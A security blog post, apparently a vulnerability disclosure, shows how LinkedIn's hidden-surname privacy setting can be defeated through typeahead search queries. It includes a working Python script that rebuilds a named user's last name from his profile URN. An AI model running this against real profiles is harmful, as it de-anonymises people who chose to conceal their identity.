Unlock Security® è gold sponsor di Cyber Frontiers Convention il 18 aprile 2026 nello Sky Campus di Milano Rogoredo

How to circumvent LinkedIn’s privacy settings

How to circumvent LinkedIn’s privacy settings

Introduction

Quando siamo su LinkedIn potremmo voler tutelare la nostra privacy, ad esempio nascondendo la foto del profilo oppure il nostro cognome. LinkedIn permette di impostare il livello di privacy preferito, ad esempio mostrando il cognome puntato ("Francesco M." invece di "Francesco Marano"), ma da alcune ricerche che abbiamo condotto, questo meccanismo è facilmente bypassabile; vediamo come passo passo.

Technical Analysis

First, we need to log in to the platform and search for a person who has their last name hidden (it doesn’t matter whether or not they are one of our connections). Once we’ve found the right person, we click on the corresponding result to open their profile page. After it’s opened, LinkedIn will add that profile to the recently viewed profiles in order to suggest it more frequently in searches with matching results. This happens because if you’ve opened their profile once and you’re searching for their name again, LinkedIn assumes you’re probably looking for their profile again.

Let's take an example and search for the name "Federico." In my case, one of the top results was "Federico L.," with whom I am not connected (I hope he won't mind being used as a target). Now, marketing and LinkedIn already reveal Federico's last name, but let's pretend we don't know it and use that information to confirm the result we'll obtain later.

LinkedIn profile with privacy settings on

Once we've found the profile of interest, we need to keep track of the URN parameter found in the query string.

At this point, we perform a new search, this time looking for "Federico L," and based on the principle explained earlier, the profile of interest will most likely be the first result shown in the search preview. Notice the clock icon to the left of the name, indicating that it’s a result we had already viewed before.

LinkedIn search results preview

The HTTP request that occurs when performing searches of this kind is a GraphQL query to the address https://www.linkedin.com/voyager/api/graphql?variables=(query:{query})&queryId=voyagerSearchDashTypeahead.5d388aa0c61a43e1dcd14aaa52fe062c, which returns the list of URNs (i.e., user profiles) that match the profile we are searching for.

LinkedIn positive search result GraphQL query

By repeating the request, for example searching for "Federico La," we will not get the previous profile in the list of results.

LinkedIn negative search result GraphQL query

By simply iterating through all the letters and checking for the presence of the URN of interest in the list of results, we can identify the letters of the last name one by one, until it is fully reconstructed.

Automating the attack

The entire process can be easily automated with a simple Python script.

import requests
import sys


HEADERS = {
    'accept': 'application/vnd.linkedin.normalized+json+2.1',
    'cookie': '### REDACTED ###',
    'csrf-token': 'ajax:7813290292652230832',
    'priority': 'u=1, i',
    'referer': 'https://www.linkedin.com/feed/',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    'x-li-lang': 'it_IT',
    'x-li-page-instance': 'urn:li:page:d_flagship3_feed;ZtLPc4JhSqWjVGbStfmjgA==',
    'x-li-pem-metadata': 'Voyager - Search Typeahead Page=global-search-typeahead-result',
    'x-restli-protocol-version': '2.0.0'
}


BASE_URL = 'https://www.linkedin.com/voyager/api/graphql?variables=(query:{query})&queryId=voyagerSearchDashTypeahead.5d388aa0c61a43e1dcd14aaa52fe062c'

def search_entity(entity_urn, current_query=''):
    for letter in "aeioubcdfghjklmnpqrstvwxyz '":
        query = current_query + letter
        url = BASE_URL.format(query=query)
        response = requests.get(url, headers=HEADERS)
        if response.status_code != 200:
            print(f"HTTP error: {response.status_code}")
            sys.exit(1)

        data = response.json()
        entity_urns = [item['entityUrn'] for item in data.get('included', []) if 'entityUrn' in item]

        if entity_urn in entity_urns:
            print(f"Found '{entity_urn}' using query: {query}")
            return search_entity(entity_urn, query)

    return current_query

entity_urn = "urn:li:fsd_profile:ACoAACeF5iwBINyMRxJJvABRhqFym2gfD6azcpQ"
result_query = search_entity(entity_urn, "federico l")

if result_query:
    print(f"Final query including the specified URN: {result_query}")
else:
    print("EntityUrn not found.")

By running the script, we can reveal the last name of any person, as long as we know the URN corresponding to their profile.

LinkedIn de-anonimization script running

Conclusions

The vulnerability was reported to the LinkedIn team, who stated that they have been aware of it… for about 2 years. It is therefore likely that this vulnerability will not be fixed in order to avoid impacting the UX during search operations.

For this reason, if we don't want certain information to be disclosed, the best strategy is not to enter that information at all. For example, we can use only the initial as the last name, or enter a fictitious last name that starts with the same initial.

Francesco Marano
Francesco Marano
CEO | Cyber Security Consultant
www.unlock-security.it

Amo far fare ai software cose diverse da quelle per cui sono stati progettati!Ciao, sono Francesco e sono un esperto di cyber security con anni di esperienza come Penetration Tester. Nel tempo libero svolgo ricerche in ambito sicurezza per trovare nuove vulnerabilità. Sono speaker ad eventi di settore per parlare delle mie ricerche.Oggi sono alla guida di Unlock Security, un'azienda specializzata in offensive security.

Related Posts